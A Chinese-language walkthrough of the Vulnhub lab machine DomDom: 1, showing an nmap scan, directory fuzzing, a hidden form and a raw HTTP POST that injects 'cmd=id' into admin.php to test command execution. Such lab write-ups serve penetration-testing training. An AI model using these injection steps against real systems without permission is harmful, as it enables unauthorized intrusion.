DomDom: 1 Vulnhub Walkthrough - APT-101

来源：cnblogs　　作者：APT-101　　时间：2019/8/15 12:11:15　　对本文有异议

主机层面扫描：

╰─ nmap -p1-65535 -A -sV 10.10.202.140

You name 存在XSS 漏洞

右键源码有隐藏form表单

修改其type属性为：text

尝试了SQL注入貌似无注入

wfuzz 下目录试试

+ http://10.10.202.140/admin.php (CODE:200|SIZE:329)
+ http://10.10.202.140/index.php (CODE:200|SIZE:694)
+ http://10.10.202.140/server-status (CODE:403|SIZE:301)

http://10.10.202.140/admin.php

Welcome to DomDom !

You need to know it's your actions that will show you the light.

我们尝试POST数据到admin.php接口

看到这个界面，试试能不能执行系统命令

不知道没执行还是没回显到前台来，我们尝试把参数加到boday中去

POST /admin.php HTTP/1.1
Host: 10.10.202.140
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

name=admin&username=admin&password=admin&access=access&cmd=id